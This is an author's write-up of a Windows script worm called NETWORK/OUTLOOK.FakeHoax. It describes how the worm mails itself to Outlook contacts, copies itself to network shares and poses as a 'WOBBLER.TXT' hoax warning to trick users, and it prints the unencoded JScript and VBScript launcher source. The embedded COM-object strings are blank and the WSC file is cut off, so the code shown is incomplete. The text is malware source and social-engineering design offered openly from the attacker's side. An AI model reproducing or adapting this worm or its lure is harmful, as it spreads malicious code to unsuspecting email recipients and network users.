Worm Name: NETWORK/OUTLOOK.FakeHoax Author: Zulu Origin: Argentina Encoded JScript/VBScript worm, first in a JSE or VBE file. It uses OUTLOOK and the network shares. The main code is a COM object written in XML and VBScript using Windows Script Component, so the code in the JSE and VBE file is trivial. Both versions create a WSC file (the COM object defined in XML) and then both call methods and change properties of that object, no real spreading code is in those files. The worm was written in this way to make it easier to port it to any other language, this way I was able of creating a JSE and a VBE file without really porting the main code. Also, it's possible to create new versions using Delphi, Visual C++, or any other by using "REGSVR32.EXE" to register the WSC file as a COM object before calling it's methods or changing it's properties. This worm was written to show how JSE and VBE files could be used in viruses/worms, since before this they where only used as auxiliary files (some versions of HTML.rahC by 1nternal and OUTLOOK.Monopoly by me for example). Besides, since it needs Windows Script Host 2.0 or later, it won't be good spreading itself at the time of writing this. Also, this was a good opportunity for using Windows Script Component for the first time because it made possible to write a JScript and a VBScript version without needing to port the whole code, so this is also the first virus/worm using it's own COM object. Features: - OUTLOOK spreading. It will use OUTLOOK to send itself to all contacts in the address book if the number of addresses is less than 101. If that number is more than 100 it will try to select 100 random addresses. Subject and body are always the same. - Network spreading. It will copy itself to the root of all shares (not only mapped drives), waiting for someone to run it. - The worm file ("WOBBLER.TXT.JSE" or "WOBBLER.TXT.VBE" depending of the version) will show a TXT file when run, so it will show what many users expect. This TXT file will show the Wobbler hoax (the reason of the worm's name), which is a strange social engineering method for a real worm. Anyway, since this won't spread well because of other reasons, even if someone wants to spread it, I won't know if the hoax message is good for this purpose. Message subject and body talk about important information in the TXT file, but they don't talk about the hoax because this could cause fear in the user from opening the file or maybe make the user remember about viruses and checking for double extensions. - It has a 1/5 probability of also sending other email to the same addresses of the email having the worm file. The body of this email will have a poem written in spanish. The reason of this is an unusual request from a friend, she wanted one of her poems to be included in a virus/worm. So, even if this means unnecessary bytes and even worse spreading capabilities, here it is. :) - There is no need of AV products or removers after running the worm since Windows' settings are not changed and all temporary files are deleted. Here is the JSE file without encoding: G=new ActiveXObject("Scripting.FileSystemObject"); A=G.GetTempName().concat(".WSC"); S=G.CreateTextFile(G.BuildPath(G.GetSpecialFolder(2),A),true); S.Write("\r\n\r\n \r\n NETWORK/OUTLOOK.FakeHoax\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n\r\n") S.Close(); F=GetObject("script:".concat(G.BuildPath(G.GetSpecialFolder(2),A))); F.AttachmentFile=G.BuildPath(G.GetSpecialFolder(2),"WOBBLER.TXT.JSE"); F.TextFile=G.BuildPath(G.GetSpecialFolder(2),"WOBBLER.TXT"); F.WormFile=WScript.ScriptFullName; F.ShowText("Thought you might be interested in this message. If you receive an\r\nemail with a file called \"California\" do not open the file. The file\r\ncontains the \"WOBBLER\" virus.\r\n\r\nThis information was announced yesterday morning by IBM. The statement\r\nsays that ... \"This is a very dangerous virus, much worse than\r\n'Melissa' and there is NO remedy for it at this time. Some very sick\r\nindividual has succeeded in using the reformat function from Norton\r\nUtilities causing it to completely erase all documents on the hard\r\ndrive. It has been designed to work with Netscape Navigator and\r\nMicrosoft Internet Explorer. It destroys Macintosh and IBM compatible\r\ncomputers. This is a new, very malicious virus and not many people\r\nknow about it at this time.\"\r\n\"Please pass this warning file to everyone in your address book and\r\nshare it with all your online friends ASAP so that the destruction it\r\ncan cause may be minimized.\"\r\n"); F.OutlookSpreading(100,"Fw: important","> Thought you might be interested in this message, read the attachment for more information."); F.NetworkSpreading("WOBBLER.TXT.JSE"); F.DelTempFiles(); G.DeleteFile(G.BuildPath(G.GetSpecialFolder(2),A),true); Here is the VBE file without encoding: Set G=CreateObject("Scripting.FileSystemObject") A=G.GetTempName&".WSC" Set S=G.CreateTextFile(G.BuildPath(G.GetSpecialFolder(2),A),True) O=Chr(13)&Chr(10) S.Write ""&O&""&O&" "&O&" NETWORK/OUTLOOK.FakeHoax"&O&" "&O&" "&O&" "&O&" "&O&" "&O&" "&O&" "&O&" "&O&" "&O&" "&O&" "&O&" "&O&" "&O&" "&O&" "&O&" "&O&" "&O&" "&O&" "&O&""&O S.Close Set F=GetObject("script:"&G.BuildPath(G.GetSpecialFolder(2),A)) F.AttachmentFile=G.BuildPath(G.GetSpecialFolder(2),"WOBBLER.TXT.VBE") F.TextFile=G.BuildPath(G.GetSpecialFolder(2),"WOBBLER.TXT") F.WormFile=WScript.ScriptFullName F.ShowText "Thought you might be interested in this message. If you receive an"&O&"email with a file called ""California"" do not open the file. The file"&O&"contains the ""WOBBLER"" virus."&O&O&"This information was announced yesterday morning by IBM. The statement"&O&"says that ... ""This is a very dangerous virus, much worse than"&O&"'Melissa' and there is NO remedy for it at this time. Some very sick"&O&"individual has succeeded in using the reformat function from Norton"&O&"Utilities causing it to completely erase all documents on the hard"&O&"drive. It has been designed to work with Netscape Navigator and"&O&"Microsoft Internet Explorer. It destroys Macintosh and IBM compatible"&O&"computers. This is a new, very malicious virus and not many people"&O&"know about it at this time."""&O&"""Please pass this warning file to everyone in your address book and"&O&"share it with all your online friends ASAP so that the destruction it"&O&"can cause may be minimized."""&O F.OutlookSpreading 100,"Fw: important","> Thought you might be interested in this message, read the attachment for more information." F.NetworkSpreading "WOBBLER.TXT.VBE" F.DelTempFiles G.DeleteFile G.BuildPath(G.GetSpecialFolder(2),A),True Here is the WSC file (the COM object), I used spaces and "normal" variable names to make it easier to read: NETWORK/OUTLOOK.FakeHoax